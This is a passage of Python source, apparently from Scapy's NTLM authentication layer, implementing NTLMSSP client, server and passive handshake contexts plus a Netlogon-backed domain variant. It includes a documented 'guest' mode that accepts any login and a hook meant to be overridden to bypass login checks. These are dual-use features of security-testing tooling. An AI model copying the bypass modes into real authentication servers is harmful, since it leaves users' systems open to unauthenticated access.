\"ServerDomain\",\n        ]\n\n        def __init__(self, IsAcceptor, req_flags=None):\n            self.state = NTLMSSP.STATE.INIT\n            self.SessionKey = None\n            self.ExportedSessionKey = None\n            self.SendSignKey = None\n            self.SendSealKey = None\n            self.SendSealHandle = None\n            self.RecvSignKey = None\n            self.RecvSealKey = None\n            self.RecvSealHandle = None\n            self.SendSeqNum = 0\n            self.RecvSeqNum = 0\n            self.neg_tok = None\n            self.chall_tok = None\n            self.ServerHostname = None\n            self.ServerDomain = None\n            self.IsAcceptor = IsAcceptor\n            super(NTLMSSP.CONTEXT, self).__init__(req_flags=req_flags)\n\n        def clifailure(self):\n            self.__init__(self.IsAcceptor, req_flags=self.flags)\n\n        def __repr__(self):\n            return \"NTLMSSP\"\n\n    # [MS-NLMP] note <36>: \"the maximum lifetime is 36 hours\" (lol, Kerberos has 5min)\n    NTLM_MaxLifetime = 36 * 3600\n\n    def __init__(\n        self,\n        UPN=None,\n        HASHNT=None,\n        PASSWORD=None,\n        USE_MIC=True,\n        VARIANT: NTLM_VARIANT = NTLM_VARIANT.RECENT,\n        NTLM_VALUES={},\n        DOMAIN_FQDN=None,\n        DOMAIN_NB_NAME=None,\n        COMPUTER_NB_NAME=None,\n        COMPUTER_FQDN=None,\n        IDENTITIES=None,\n        DO_NOT_CHECK_LOGIN=False,\n        SERVER_CHALLENGE=None,\n        **kwargs,\n    ):\n        self.UPN = UPN\n        if HASHNT is None and PASSWORD is not None:\n            HASHNT = MD4le(PASSWORD)\n        self.HASHNT = HASHNT\n        self.VARIANT = VARIANT\n        if self.VARIANT != NTLM_VARIANT.RECENT:\n            log_runtime.warning(\n                \"VARIANT != NTLM_VARIANT.RECENT. You shouldn't touch this !\"\n            )\n            self.USE_MIC = False\n        else:\n            self.USE_MIC = USE_MIC\n        self.NTLM_VALUES = NTLM_VALUES\n        if UPN is not None:\n            # Populate values used only in server mode.\n            from scapy.layers.kerberos import _parse_upn\n\n            try:\n                user, realm = _parse_upn(UPN)\n                if DOMAIN_FQDN is None:\n                    DOMAIN_FQDN = realm\n                if COMPUTER_NB_NAME is None:\n                    COMPUTER_NB_NAME = user\n            except ValueError:\n                pass\n\n        # Compute various netbios/fqdn names\n        self.DOMAIN_FQDN = DOMAIN_FQDN or \"domain.local\"\n        self.DOMAIN_NB_NAME = (\n            DOMAIN_NB_NAME or self.DOMAIN_FQDN.split(\".\")[0].upper()[:15]\n        )\n        self.COMPUTER_NB_NAME = COMPUTER_NB_NAME or \"WIN10\"\n        self.COMPUTER_FQDN = COMPUTER_FQDN or (\n            self.COMPUTER_NB_NAME.lower() + \".\" + self.DOMAIN_FQDN\n        )\n\n        if IDENTITIES:\n            self.IDENTITIES = {\n                # Windows usernames are case insensitive\n                user.upper(): hashnt\n                for user, hashnt in IDENTITIES.items()\n            }\n        else:\n            self.IDENTITIES = IDENTITIES\n\n        self.DO_NOT_CHECK_LOGIN = DO_NOT_CHECK_LOGIN\n        self.SERVER_CHALLENGE = SERVER_CHALLENGE\n        super(NTLMSSP, self).__init__(**kwargs)\n\n    def LegsAmount(self, Context: CONTEXT):\n        return 3\n\n    def GSS_Inquire_names_for_mech(self):\n        return [\"1.3.6.1.4.1.311.2.2.10\"]\n\n    def GSS_GetMICEx(self, Context, msgs, qop_req=0):\n        \"\"\"\n        [MS-NLMP] sect 3.4.8\n        \"\"\"\n        # Concatenate the ToSign\n        ToSign = b\"\".join(x.data for x in msgs if x.sign)\n        sig = MAC(\n            Context.SendSealHandle,\n            Context.SendSignKey,\n            Context.SendSeqNum,\n            ToSign,\n        )\n        Context.SendSeqNum += 1\n        return sig\n\n    def GSS_VerifyMICEx(self, Context, msgs, signature):\n        \"\"\"\n        [MS-NLMP] sect 3.4.9\n        \"\"\"\n        Context.RecvSeqNum = signature.SeqNum\n        # Concatenate the ToSign\n        ToSign = b\"\".join(x.data for x in msgs if x.sign)\n        sig = MAC(\n            Context.RecvSealHandle,\n            Context.RecvSignKey,\n            Context.RecvSeqNum,\n            ToSign,\n        )\n        if sig.Checksum != signature.Checksum:\n            raise ValueError(\"ERROR: Checksums don't match\")\n\n    def GSS_WrapEx(self, Context, msgs, qop_req=0):\n        \"\"\"\n        [MS-NLMP] sect 3.4.6\n        \"\"\"\n        msgs_cpy = copy.deepcopy(msgs)  # Keep copy for signature\n        # Encrypt\n        for msg in msgs:\n            if msg.conf_req_flag:\n                msg.data = RC4(Context.SendSealHandle, msg.data)\n        # Sign\n        sig = self.GSS_GetMICEx(Context, msgs_cpy, qop_req=qop_req)\n        return (\n            msgs,\n            sig,\n        )\n\n    def GSS_UnwrapEx(self, Context, msgs, signature):\n        \"\"\"\n        [MS-NLMP] sect 3.4.7\n        \"\"\"\n        # Decrypt\n        for msg in msgs:\n            if msg.conf_req_flag:\n                msg.data = RC4(Context.RecvSealHandle, msg.data)\n        # Check signature\n        self.GSS_VerifyMICEx(Context, msgs, signature)\n        return msgs\n\n    def SupportsMechListMIC(self):\n        if not self.USE_MIC:\n            # RFC 4178\n            # \"If the mechanism selected by the negotiation does not support integrity\n            # protection, then no mechlistMIC token is used.\"\n            return False\n        if self.DO_NOT_CHECK_LOGIN:\n            # In this mode, we won't negotiate any credentials.\n            return False\n        return True\n\n    def GetMechListMIC(self, Context, input):\n        # [MS-SPNG]\n        # \"When NTLM is negotiated, the SPNG server MUST set OriginalHandle to\n        # ServerHandle before generating the mechListMIC, then set ServerHandle to\n        # OriginalHandle after generating the mechListMIC.\"\n        OriginalHandle = Context.SendSealHandle\n        Context.SendSealHandle = RC4Init(Context.SendSealKey)\n        try:\n            return super(NTLMSSP, self).GetMechListMIC(Context, input)\n        finally:\n            Context.SendSealHandle = OriginalHandle\n\n    def VerifyMechListMIC(self, Context, otherMIC, input):\n        # [MS-SPNG]\n        # \"the SPNEGO Extension server MUST set OriginalHandle to ClientHandle before\n        # validating the mechListMIC and then set ClientHandle to OriginalHandle after\n        # validating the mechListMIC.\"\n        OriginalHandle = Context.RecvSealHandle\n        Context.RecvSealHandle = RC4Init(Context.RecvSealKey)\n        try:\n            return super(NTLMSSP, self).VerifyMechListMIC(Context, otherMIC, input)\n        finally:\n            Context.RecvSealHandle = OriginalHandle\n\n    def GSS_Init_sec_context(\n        self,\n        Context: CONTEXT,\n        input_token=None,\n        target_name: Optional[str] = None,\n        req_flags: Optional[GSS_C_FLAGS] = None,\n        chan_bindings: GssChannelBindings = GSS_C_NO_CHANNEL_BINDINGS,\n    ):\n        if Context is None:\n            Context = self.CONTEXT(False, req_flags=req_flags)\n\n        if Context.state == self.STATE.INIT:\n            # Client: negotiate\n            # Create a default token\n            tok = NTLM_NEGOTIATE(\n                VARIANT=self.VARIANT,\n                NegotiateFlags=\"+\".join(\n                    [\n                        \"NEGOTIATE_UNICODE\",\n                        \"REQUEST_TARGET\",\n                        \"NEGOTIATE_NTLM\",\n                        \"NEGOTIATE_ALWAYS_SIGN\",\n                        \"TARGET_TYPE_DOMAIN\",\n                        \"NEGOTIATE_EXTENDED_SESSIONSECURITY\",\n                        \"NEGOTIATE_TARGET_INFO\",\n                        \"NEGOTIATE_128\",\n                        \"NEGOTIATE_56\",\n                    ]\n                    + (\n                        [\"NEGOTIATE_VERSION\"]\n                        if self.VARIANT >= NTLM_VARIANT.XP_OR_2003\n                        else []\n                    )\n                    + (\n                        [\n                            \"NEGOTIATE_KEY_EXCH\",\n                        ]\n                        if Context.flags\n                        & (GSS_C_FLAGS.GSS_C_INTEG_FLAG | GSS_C_FLAGS.GSS_C_CONF_FLAG)\n                        else []\n                    )\n                    + (\n                        [\n                            \"NEGOTIATE_SIGN\",\n                        ]\n                        if Context.flags & GSS_C_FLAGS.GSS_C_INTEG_FLAG\n                        else []\n                    )\n                    + (\n                        [\n                            \"NEGOTIATE_SEAL\",\n                        ]\n                        if Context.flags & GSS_C_FLAGS.GSS_C_CONF_FLAG\n                        else []\n                    )\n                    + (\n                        [\n                            \"NEGOTIATE_IDENTIFY\",\n                        ]\n                        if Context.flags & GSS_C_FLAGS.GSS_C_IDENTIFY_FLAG\n                        else []\n                    )\n                ),\n                ProductMajorVersion=10,\n                ProductMinorVersion=0,\n                ProductBuild=19041,\n            )\n            if self.NTLM_VALUES:\n                # Update that token with the customs one\n                for key in [\n                    \"NegotiateFlags\",\n                    \"ProductMajorVersion\",\n                    \"ProductMinorVersion\",\n                    \"ProductBuild\",\n                ]:\n                    if key in self.NTLM_VALUES:\n                        setattr(tok, key, self.NTLM_VALUES[key])\n            Context.neg_tok = tok\n            Context.SessionKey = None  # Reset signing (if previous auth failed)\n            Context.state = self.STATE.CLI_SENT_NEGO\n            return Context, tok, GSS_S_CONTINUE_NEEDED\n        elif Context.state == self.STATE.CLI_SENT_NEGO:\n            # Client: auth (token=challenge)\n            chall_tok = input_token\n            if self.UPN is None or self.HASHNT is None:\n                raise ValueError(\n                    \"Must provide a 'UPN' and a 'HASHNT' or 'PASSWORD' when \"\n                    \"running in standalone !\"\n                )\n\n            from scapy.layers.kerberos import _parse_upn\n\n            # Check token sanity\n            if not chall_tok or NTLM_CHALLENGE not in chall_tok:\n                log_runtime.debug(\"NTLMSSP: Unexpected token. Expected NTLM Challenge\")\n                return Context, None, GSS_S_DEFECTIVE_TOKEN\n\n            # Some information from the CHALLENGE are stored\n            try:\n                Context.ServerHostname = chall_tok.getAv(0x0001).Value\n            except IndexError:\n                pass\n            try:\n                Context.ServerDomain = chall_tok.getAv(0x0002).Value\n            except IndexError:\n                pass\n            try:\n                # the server SHOULD set the timestamp in the CHALLENGE_MESSAGE\n                ServerTimestamp = chall_tok.getAv(0x0007).Value\n                ServerTime = (ServerTimestamp / 1e7) - 11644473600\n\n                if abs(ServerTime - time.time()) >= NTLMSSP.NTLM_MaxLifetime:\n                    log_runtime.warning(\n                        \"Server and Client times are off by more than 36h !\"\n                    )\n                    # We could error here, but we don't.\n            except IndexError:\n                pass\n\n            # Initialize a default token\n            tok = NTLM_AUTHENTICATE_V2(\n                VARIANT=self.VARIANT,\n                NegotiateFlags=chall_tok.NegotiateFlags,\n                ProductMajorVersion=10,\n                ProductMinorVersion=0,\n                ProductBuild=19041,\n            )\n            tok.LmChallengeResponse = LMv2_RESPONSE()\n\n            # Populate the token\n            # 1. Set username\n            try:\n                tok.UserName, realm = _parse_upn(self.UPN)\n            except ValueError:\n                tok.UserName, realm = self.UPN, Context.ServerDomain\n\n            # 2. Set domain name\n            if realm is None:\n                log_runtime.warning(\n                    \"No realm specified in UPN, nor provided by server.\"\n                )\n                tok.DomainName = self.DOMAIN_FQDN\n            else:\n                tok.DomainName = realm\n\n            # 3. Set workstation name\n            tok.Workstation = self.COMPUTER_NB_NAME\n\n            # 4. Create and calculate the ChallengeResponse\n            # 4.1 Build the payload\n            cr = tok.NtChallengeResponse = NTLMv2_RESPONSE(\n                ChallengeFromClient=os.urandom(8),\n            )\n            cr.TimeStamp = int((time.time() + 11644473600) * 1e7)\n            cr.AvPairs = (\n                # Repeat AvPairs from the server\n                chall_tok.TargetInfo[:-1]\n                + (\n                    [\n                        AV_PAIR(AvId=\"MsvAvFlags\", Value=\"MIC integrity\"),\n                    ]\n                    if self.USE_MIC\n                    else []\n                )\n                + [\n                    AV_PAIR(\n                        AvId=\"MsvAvSingleHost\",\n                        Value=Single_Host_Data(\n                            MachineID=os.urandom(32),\n                            PermanentMachineID=os.urandom(32),\n                        ),\n                    ),\n                ]\n                + (\n                    [\n                        AV_PAIR(\n                            # [MS-NLMP] sect 2.2.2.1 refers to RFC 4121 sect 4.1.1.2\n                            # \"The Bnd field contains the MD5 hash of channel bindings\"\n                            AvId=\"MsvAvChannelBindings\",\n                            Value=chan_bindings.digestMD5(),\n                        ),\n                    ]\n                    if chan_bindings != GSS_C_NO_CHANNEL_BINDINGS\n                    else []\n                )\n                + [\n                    AV_PAIR(\n                        AvId=\"MsvAvTargetName\",\n                        Value=target_name or (\"host/\" + Context.ServerHostname),\n                    ),\n                    AV_PAIR(AvId=\"MsvAvEOL\"),\n                ]\n            )\n            if self.NTLM_VALUES:\n                # Update that token with the customs one\n                for key in [\n                    \"NegotiateFlags\",\n                    \"ProductMajorVersion\",\n                    \"ProductMinorVersion\",\n                    \"ProductBuild\",\n                ]:\n                    if key in self.NTLM_VALUES:\n                        setattr(tok, key, self.NTLM_VALUES[key])\n\n            # 4.2 Compute the ResponseKeyNT\n            ResponseKeyNT = NTOWFv2(\n                None,\n                tok.UserName,\n                tok.DomainName,\n                HashNt=self.HASHNT,\n            )\n\n            # 4.3 Compute the NTProofStr\n            cr.NTProofStr = cr.computeNTProofStr(\n                ResponseKeyNT,\n                chall_tok.ServerChallenge,\n            )\n\n            # 4.4 Compute the Session Key\n            SessionBaseKey = NTLMv2_ComputeSessionBaseKey(ResponseKeyNT, cr.NTProofStr)\n            KeyExchangeKey = SessionBaseKey  # Only true for NTLMv2\n            if chall_tok.NegotiateFlags.NEGOTIATE_KEY_EXCH:\n                ExportedSessionKey = os.urandom(16)\n                tok.EncryptedRandomSessionKey = RC4K(\n                    KeyExchangeKey,\n                    ExportedSessionKey,\n                )\n            else:\n                ExportedSessionKey = KeyExchangeKey\n\n            # 4.5 Compute the MIC\n            if self.USE_MIC:\n                tok.compute_mic(ExportedSessionKey, Context.neg_tok, chall_tok)\n\n            # 5. Perform key computations\n            Context.ExportedSessionKey = ExportedSessionKey\n            # [MS-SMB] 3.2.5.3\n            Context.SessionKey = Context.ExportedSessionKey\n            # Compute NTLM keys\n            Context.SendSignKey = SIGNKEY(\n                tok.NegotiateFlags, ExportedSessionKey, \"Client\"\n            )\n            Context.SendSealKey = SEALKEY(\n                tok.NegotiateFlags, ExportedSessionKey, \"Client\"\n            )\n            Context.SendSealHandle = RC4Init(Context.SendSealKey)\n            Context.RecvSignKey = SIGNKEY(\n                tok.NegotiateFlags, ExportedSessionKey, \"Server\"\n            )\n            Context.RecvSealKey = SEALKEY(\n                tok.NegotiateFlags, ExportedSessionKey, \"Server\"\n            )\n            Context.RecvSealHandle = RC4Init(Context.RecvSealKey)\n\n            # Update the state\n            Context.state = self.STATE.CLI_SENT_AUTH\n\n            return Context, tok, GSS_S_COMPLETE\n        elif Context.state == self.STATE.CLI_SENT_AUTH:\n            if input_token:\n                # what is that?\n                status = GSS_S_DEFECTIVE_TOKEN\n            else:\n                status = GSS_S_COMPLETE\n            return Context, None, status\n        else:\n            raise ValueError(\"NTLMSSP: unexpected state %s\" % repr(Context.state))\n\n    def GSS_Accept_sec_context(\n        self,\n        Context: CONTEXT,\n        input_token=None,\n        req_flags: Optional[GSS_S_FLAGS] = GSS_S_FLAGS.GSS_S_ALLOW_MISSING_BINDINGS,\n        chan_bindings: GssChannelBindings = GSS_C_NO_CHANNEL_BINDINGS,\n    ):\n        if Context is None:\n            Context = self.CONTEXT(IsAcceptor=True, req_flags=req_flags)\n\n        if Context.state == self.STATE.INIT:\n            # Server: challenge (input_token=negotiate)\n            nego_tok = input_token\n            if not nego_tok or NTLM_NEGOTIATE not in nego_tok:\n                log_runtime.debug(\"NTLMSSP: Unexpected token. Expected NTLM Negotiate\")\n                return Context, None, GSS_S_DEFECTIVE_TOKEN\n\n            # Build the challenge token\n            currentTime = (time.time() + 11644473600) * 1e7\n            tok = NTLM_CHALLENGE(\n                VARIANT=self.VARIANT,\n                ServerChallenge=self.SERVER_CHALLENGE or os.urandom(8),\n                NegotiateFlags=\"+\".join(\n                    [\n                        \"NEGOTIATE_UNICODE\",\n                        \"REQUEST_TARGET\",\n                        \"NEGOTIATE_NTLM\",\n                        \"NEGOTIATE_ALWAYS_SIGN\",\n                        \"NEGOTIATE_EXTENDED_SESSIONSECURITY\",\n                        \"NEGOTIATE_TARGET_INFO\",\n                        \"TARGET_TYPE_DOMAIN\",\n                        \"NEGOTIATE_128\",\n                        \"NEGOTIATE_KEY_EXCH\",\n                        \"NEGOTIATE_56\",\n                    ]\n                    + (\n                        [\"NEGOTIATE_VERSION\"]\n                        if self.VARIANT >= NTLM_VARIANT.XP_OR_2003\n                        else []\n                    )\n                    + (\n                        [\"NEGOTIATE_SIGN\"]\n                        if nego_tok.NegotiateFlags.NEGOTIATE_SIGN\n                        else []\n                    )\n                    + (\n                        [\"NEGOTIATE_SEAL\"]\n                        if nego_tok.NegotiateFlags.NEGOTIATE_SEAL\n                        else []\n                    )\n                ),\n                ProductMajorVersion=10,\n                ProductMinorVersion=0,\n                Payload=[\n                    (\"TargetName\", \"\"),\n                    (\n                        \"TargetInfo\",\n                        [\n                            # MsvAvNbComputerName\n                            AV_PAIR(AvId=1, Value=self.COMPUTER_NB_NAME),\n                            # MsvAvNbDomainName\n                            AV_PAIR(AvId=2, Value=self.DOMAIN_NB_NAME),\n                            # MsvAvDnsComputerName\n                            AV_PAIR(AvId=3, Value=self.COMPUTER_FQDN),\n                            # MsvAvDnsDomainName\n                            AV_PAIR(AvId=4, Value=self.DOMAIN_FQDN),\n                            # MsvAvDnsTreeName\n                            AV_PAIR(AvId=5, Value=self.DOMAIN_FQDN),\n                            # MsvAvTimestamp\n                            AV_PAIR(AvId=7, Value=currentTime),\n                            # MsvAvEOL\n                            AV_PAIR(AvId=0),\n                        ],\n                    ),\n                ],\n            )\n            if self.NTLM_VALUES:\n                # Update that token with the customs one\n                for key in [\n                    \"ServerChallenge\",\n                    \"NegotiateFlags\",\n                    \"ProductMajorVersion\",\n                    \"ProductMinorVersion\",\n                    \"TargetName\",\n                ]:\n                    if key in self.NTLM_VALUES:\n                        setattr(tok, key, self.NTLM_VALUES[key])\n                avpairs = {x.AvId: x.Value for x in tok.TargetInfo}\n                tok.TargetInfo = [\n                    AV_PAIR(AvId=i, Value=self.NTLM_VALUES.get(x, avpairs[i]))\n                    for (i, x) in [\n                        (2, \"NetbiosDomainName\"),\n                        (1, \"NetbiosComputerName\"),\n                        (4, \"DnsDomainName\"),\n                        (3, \"DnsComputerName\"),\n                        (5, \"DnsTreeName\"),\n                        (6, \"Flags\"),\n                        (7, \"Timestamp\"),\n                        (0, None),\n                    ]\n                    if ((x in self.NTLM_VALUES) or (i in avpairs))\n                    and self.NTLM_VALUES.get(x, True) is not None\n                ]\n\n            # Store for next step\n            Context.chall_tok = tok\n\n            # Update the state\n            Context.state = self.STATE.SRV_SENT_CHAL\n\n            return Context, tok, GSS_S_CONTINUE_NEEDED\n        elif Context.state == self.STATE.SRV_SENT_CHAL:\n            # server: OK or challenge again (input_token=auth)\n            auth_tok = input_token\n\n            if not auth_tok or NTLM_AUTHENTICATE_V2 not in auth_tok:\n                log_runtime.debug(\n                    \"NTLMSSP: Unexpected token. Expected NTLM Authenticate v2\"\n                )\n                return Context, None, GSS_S_DEFECTIVE_TOKEN\n\n            if self.DO_NOT_CHECK_LOGIN:\n                # Just trust me bro. Typically used in \"guest\" mode.\n                return Context, None, GSS_S_COMPLETE\n\n            # Compute the session key\n            SessionBaseKey = self._getSessionBaseKey(Context, auth_tok)\n            if SessionBaseKey:\n                # [MS-NLMP] sect 3.2.5.1.2\n                KeyExchangeKey = SessionBaseKey  # Only true for NTLMv2\n                if auth_tok.NegotiateFlags.NEGOTIATE_KEY_EXCH:\n                    try:\n                        EncryptedRandomSessionKey = auth_tok.EncryptedRandomSessionKey\n                    except AttributeError:\n                        # No EncryptedRandomSessionKey. libcurl for instance\n                        # hmm. this looks bad\n                        EncryptedRandomSessionKey = b\"\\x00\" * 16\n                    ExportedSessionKey = RC4K(KeyExchangeKey, EncryptedRandomSessionKey)\n                else:\n                    ExportedSessionKey = KeyExchangeKey\n                Context.ExportedSessionKey = ExportedSessionKey\n                # [MS-SMB] 3.2.5.3\n                Context.SessionKey = Context.ExportedSessionKey\n\n            # Check the timestamp\n            try:\n                ClientTimestamp = auth_tok.NtChallengeResponse.getAv(0x0007).Value\n                ClientTime = (ClientTimestamp / 1e7) - 11644473600\n\n                if abs(ClientTime - time.time()) >= NTLMSSP.NTLM_MaxLifetime:\n                    log_runtime.warning(\n                        \"Server and Client times are off by more than 36h !\"\n                    )\n                    # We could error here, but we don't.\n            except IndexError:\n                pass\n\n            # Check the channel bindings\n            if chan_bindings != GSS_C_NO_CHANNEL_BINDINGS:\n                try:\n                    Bnd = auth_tok.NtChallengeResponse.getAv(0x000A).Value\n                    if Bnd != chan_bindings.digestMD5():\n                        # Bad channel bindings\n                        return Context, None, GSS_S_BAD_BINDINGS\n                except IndexError:\n                    if GSS_S_FLAGS.GSS_S_ALLOW_MISSING_BINDINGS not in req_flags:\n                        # Uhoh, we required channel bindings\n                        return Context, None, GSS_S_BAD_BINDINGS\n\n            if Context.SessionKey:\n                # Compute NTLM keys\n                Context.SendSignKey = SIGNKEY(\n                    auth_tok.NegotiateFlags, ExportedSessionKey, \"Server\"\n                )\n                Context.SendSealKey = SEALKEY(\n                    auth_tok.NegotiateFlags, ExportedSessionKey, \"Server\"\n                )\n                Context.SendSealHandle = RC4Init(Context.SendSealKey)\n                Context.RecvSignKey = SIGNKEY(\n                    auth_tok.NegotiateFlags, ExportedSessionKey, \"Client\"\n                )\n                Context.RecvSealKey = SEALKEY(\n                    auth_tok.NegotiateFlags, ExportedSessionKey, \"Client\"\n                )\n                Context.RecvSealHandle = RC4Init(Context.RecvSealKey)\n\n                # Check the NTProofStr\n                if self._checkLogin(Context, auth_tok):\n                    # Set negotiated flags\n                    if auth_tok.NegotiateFlags.NEGOTIATE_SIGN:\n                        Context.flags |= GSS_C_FLAGS.GSS_C_INTEG_FLAG\n                    if auth_tok.NegotiateFlags.NEGOTIATE_SEAL:\n                        Context.flags |= GSS_C_FLAGS.GSS_C_CONF_FLAG\n                    return Context, None, GSS_S_COMPLETE\n\n            # Bad NTProofStr or unknown user\n            Context.SessionKey = None\n            Context.state = self.STATE.INIT\n            return Context, None, GSS_S_DEFECTIVE_CREDENTIAL\n        else:\n            raise ValueError(\"NTLMSSP: unexpected state %s\" % repr(Context.state))\n\n    def MaximumSignatureLength(self, Context: CONTEXT):\n        \"\"\"\n        Returns the Maximum Signature length.\n\n        This will be used in auth_len in DceRpc5, and is necessary for\n        PFC_SUPPORT_HEADER_SIGN to work properly.\n        \"\"\"\n        return 16  # len(NTLMSSP_MESSAGE_SIGNATURE())\n\n    def GSS_Passive(self, Context: CONTEXT, token=None, req_flags=None):\n        if Context is None:\n            Context = self.CONTEXT(True)\n            Context.passive = True\n\n        # We capture the Negotiate, Challenge, then call the server's auth handling\n        # and discard the output.\n\n        if Context.state == self.STATE.INIT:\n            if not token or NTLM_NEGOTIATE not in token:\n                log_runtime.warning(\"NTLMSSP: Expected NTLM Negotiate\")\n                return None, GSS_S_DEFECTIVE_TOKEN\n            Context.neg_tok = token\n            Context.state = self.STATE.CLI_SENT_NEGO\n            return Context, GSS_S_CONTINUE_NEEDED\n        elif Context.state == self.STATE.CLI_SENT_NEGO:\n            if not token or NTLM_CHALLENGE not in token:\n                log_runtime.warning(\"NTLMSSP: Expected NTLM Challenge\")\n                return None, GSS_S_DEFECTIVE_TOKEN\n            Context.chall_tok = token\n            Context.state = self.STATE.SRV_SENT_CHAL\n            return Context, GSS_S_CONTINUE_NEEDED\n        elif Context.state == self.STATE.SRV_SENT_CHAL:\n            if not token or NTLM_AUTHENTICATE_V2 not in token:\n                log_runtime.warning(\"NTLMSSP: Expected NTLM Authenticate\")\n                return None, GSS_S_DEFECTIVE_TOKEN\n            Context, _, status = self.GSS_Accept_sec_context(Context, token)\n            if status != GSS_S_COMPLETE:\n                log_runtime.info(\"NTLMSSP: auth failed.\")\n            Context.state = self.STATE.INIT\n            return Context, status\n        else:\n            raise ValueError(\"NTLMSSP: unexpected state %s\" % repr(Context.state))\n\n    def GSS_Passive_set_Direction(self, Context: CONTEXT, IsAcceptor=False):\n        if Context.IsAcceptor is not IsAcceptor:\n            return\n        # Swap everything\n        Context.SendSignKey, Context.RecvSignKey = (\n            Context.RecvSignKey,\n            Context.SendSignKey,\n        )\n        Context.SendSealKey, Context.RecvSealKey = (\n            Context.RecvSealKey,\n            Context.SendSealKey,\n        )\n        Context.SendSealHandle, Context.RecvSealHandle = (\n            Context.RecvSealHandle,\n            Context.SendSealHandle,\n        )\n        Context.SendSeqNum, Context.RecvSeqNum = Context.RecvSeqNum, Context.SendSeqNum\n        Context.IsAcceptor = not Context.IsAcceptor\n\n    def _getSessionBaseKey(self, Context, auth_tok):\n        \"\"\"\n        Function that returns the SessionBaseKey from the ntlm Authenticate.\n        \"\"\"\n        try:\n            # Windows usernames are case insensitive\n            username = auth_tok.UserName.upper()\n        except AttributeError:\n            username = None\n        try:\n            domain = auth_tok.DomainName\n        except AttributeError:\n            domain = \"\"\n        if self.IDENTITIES and username in self.IDENTITIES:\n            ResponseKeyNT = NTOWFv2(\n                None,\n                username,\n                domain,\n                HashNt=self.IDENTITIES[username],\n            )\n            return NTLMv2_ComputeSessionBaseKey(\n                ResponseKeyNT,\n                auth_tok.NtChallengeResponse.NTProofStr,\n            )\n        elif self.IDENTITIES:\n            log_runtime.debug(\"NTLMSSP: Bad credentials for %s\" % username)\n        return None\n\n    def _checkLogin(self, Context, auth_tok):\n        \"\"\"\n        Function that checks the validity of an authentication.\n\n        Overwrite and return True to bypass.\n        \"\"\"\n        try:\n            # Windows usernames are case insensitive\n            username = auth_tok.UserName.upper()\n        except AttributeError:\n            username = None\n        try:\n            domain = auth_tok.DomainName\n        except AttributeError:\n            domain = \"\"\n        if username in self.IDENTITIES:\n            ResponseKeyNT = NTOWFv2(\n                None,\n                username,\n                domain,\n                HashNt=self.IDENTITIES[username],\n            )\n            NTProofStr = auth_tok.NtChallengeResponse.computeNTProofStr(\n                ResponseKeyNT,\n                Context.chall_tok.ServerChallenge,\n            )\n            if NTProofStr == auth_tok.NtChallengeResponse.NTProofStr:\n                return True\n        return False\n\n\nclass NTLMSSP_DOMAIN(NTLMSSP):\n    \"\"\"\n    A variant of the NTLMSSP to be used in server mode that gets the session\n    keys from the domain using a Netlogon channel.\n\n    This has the same arguments as NTLMSSP, but supports the following in server\n    mode:\n\n    :param UPN: the UPN of the machine account to login for Netlogon.\n    :param HASHNT: the HASHNT of the machine account (use Netlogon secure channel).\n    :param ssp: a KerberosSSP to use (use Kerberos secure channel).\n    :param PASSWORD: the PASSWORD of the machine account to use for Netlogon.\n    :param DC_IP: (optional) specify the IP of the DC.\n\n    Netlogon example::\n\n        >>> mySSP = NTLMSSP_DOMAIN(\n        ...     UPN=\"Server1@domain.local\",\n        ...     HASHNT=bytes.fromhex(\"8846f7eaee8fb117ad06bdd830b7586c\"),\n        ... )\n\n    Kerberos example::\n\n        >>> mySSP = NTLMSSP_DOMAIN(\n        ...     UPN=\"Server1@domain.local\",\n        ...     KEY=Key(EncryptionType.AES256_CTS_HMAC_SHA1_96,\n        ...         key=bytes.fromhex(\n        ...             \"85abb9b61dc2fa49d4cc04317bbd108f8f79df28\"\n        ...             \"239155ed7b144c5d2ebcf016\"\n        ...         )\n        ...     ),\n        ... )\n    \"\"\"\n\n    def __init__(self, UPN=None, *args, timeout=3, ssp=None, **kwargs):\n        from scapy.layers.kerberos import KerberosSSP\n\n        # Either PASSWORD or HASHNT or ssp\n        if (\n            \"HASHNT\" not in kwargs\n            and \"PASSWORD\" not in kwargs\n            and \"KEY\" not in kwargs\n            and ssp is None\n        ):\n            raise ValueError(\n                \"Must specify either 'HASHNT', 'PASSWORD' or \"\n                \"provide a ssp=KerberosSSP()\"\n            )\n        elif ssp is not None and not isinstance(ssp, KerberosSSP):\n            raise ValueError(\"'ssp' can only be None or a KerberosSSP !\")\n\n        self.KEY = kwargs.pop(\"KEY\", None)\n        self.PASSWORD = kwargs.get(\"PASSWORD\", None)\n\n        # UPN is mandatory\n        if UPN is None and ssp is not None and ssp.UPN:\n            UPN = ssp.UPN\n        elif UPN is None:\n            raise ValueError(\"Must specify a 'UPN' !\")\n        kwargs[\"UPN\"] = UPN\n\n        # Call parent\n        super(NTLMSSP_DOMAIN, self).__init__(\n            *args,\n            **kwargs,\n        )\n\n        # Treat specific parameters\n        self.DC_FQDN = kwargs.pop(\"DC_FQDN\", None)\n        if self.DC_FQDN is None:\n            # Get DC_FQDN from dclocator\n            from scapy.layers.ldap import dclocator\n\n            dc = dclocator(\n                self.DOMAIN_FQDN,\n                timeout=timeout,\n                debug=kwargs.get(\"debug\", 0),\n            )\n            self.DC_FQDN = dc.samlogon.DnsHostName.decode().rstrip(\".\")\n\n        # If logging in via Kerberos\n        self.ssp = ssp\n\n    def _getSessionBaseKey(self, Context, ntlm):\n        \"\"\"\n        Return the Session Key by asking the DC.\n        \"\"\"\n        # No user / no domain: skip.\n        if not ntlm.UserNameLen or not ntlm.DomainNameLen:\n            return super(NTLMSSP_DOMAIN, self)._getSessionBaseKey(Context, ntlm)\n\n        # Import RPC stuff\n        from scapy.layers.dcerpc import NDRUnion\n        from scapy.layers.msrpce.msnrpc import (\n            NETLOGON_SECURE_CHANNEL_METHOD,\n            NetlogonClient,\n        )\n        from scapy.layers.msrpce.raw.ms_nrpc import (\n            NETLOGON_LOGON_IDENTITY_INFO,\n            NetrLogonSamLogonWithFlags_Request,\n            PNETLOGON_AUTHENTICATOR,\n            PNETLOGON_NETWORK_INFO,\n            STRING,\n            UNICODE_STRING,\n        )\n\n        # Create NetlogonClient with PRIVACY\n        client = NetlogonClient()\n        client.connect(self.DC_FQDN)\n\n        # Establish the Netlogon secure channel (this will bind)\n        try:\n            if self.ssp is None and self.KEY is None:\n                # Login via classic NetlogonSSP\n                client.establish_secure_channel(\n                    mode=NETLOGON_SECURE_CHANNEL_METHOD.NetrServerAuthenticate3,\n                    UPN=f\"{self.COMPUTER_NB_NAME}@{self.DOMAIN_NB_NAME}\",\n                    DC_FQDN=self.DC_FQDN,\n                    HASHNT=self.HASHNT,\n                )\n            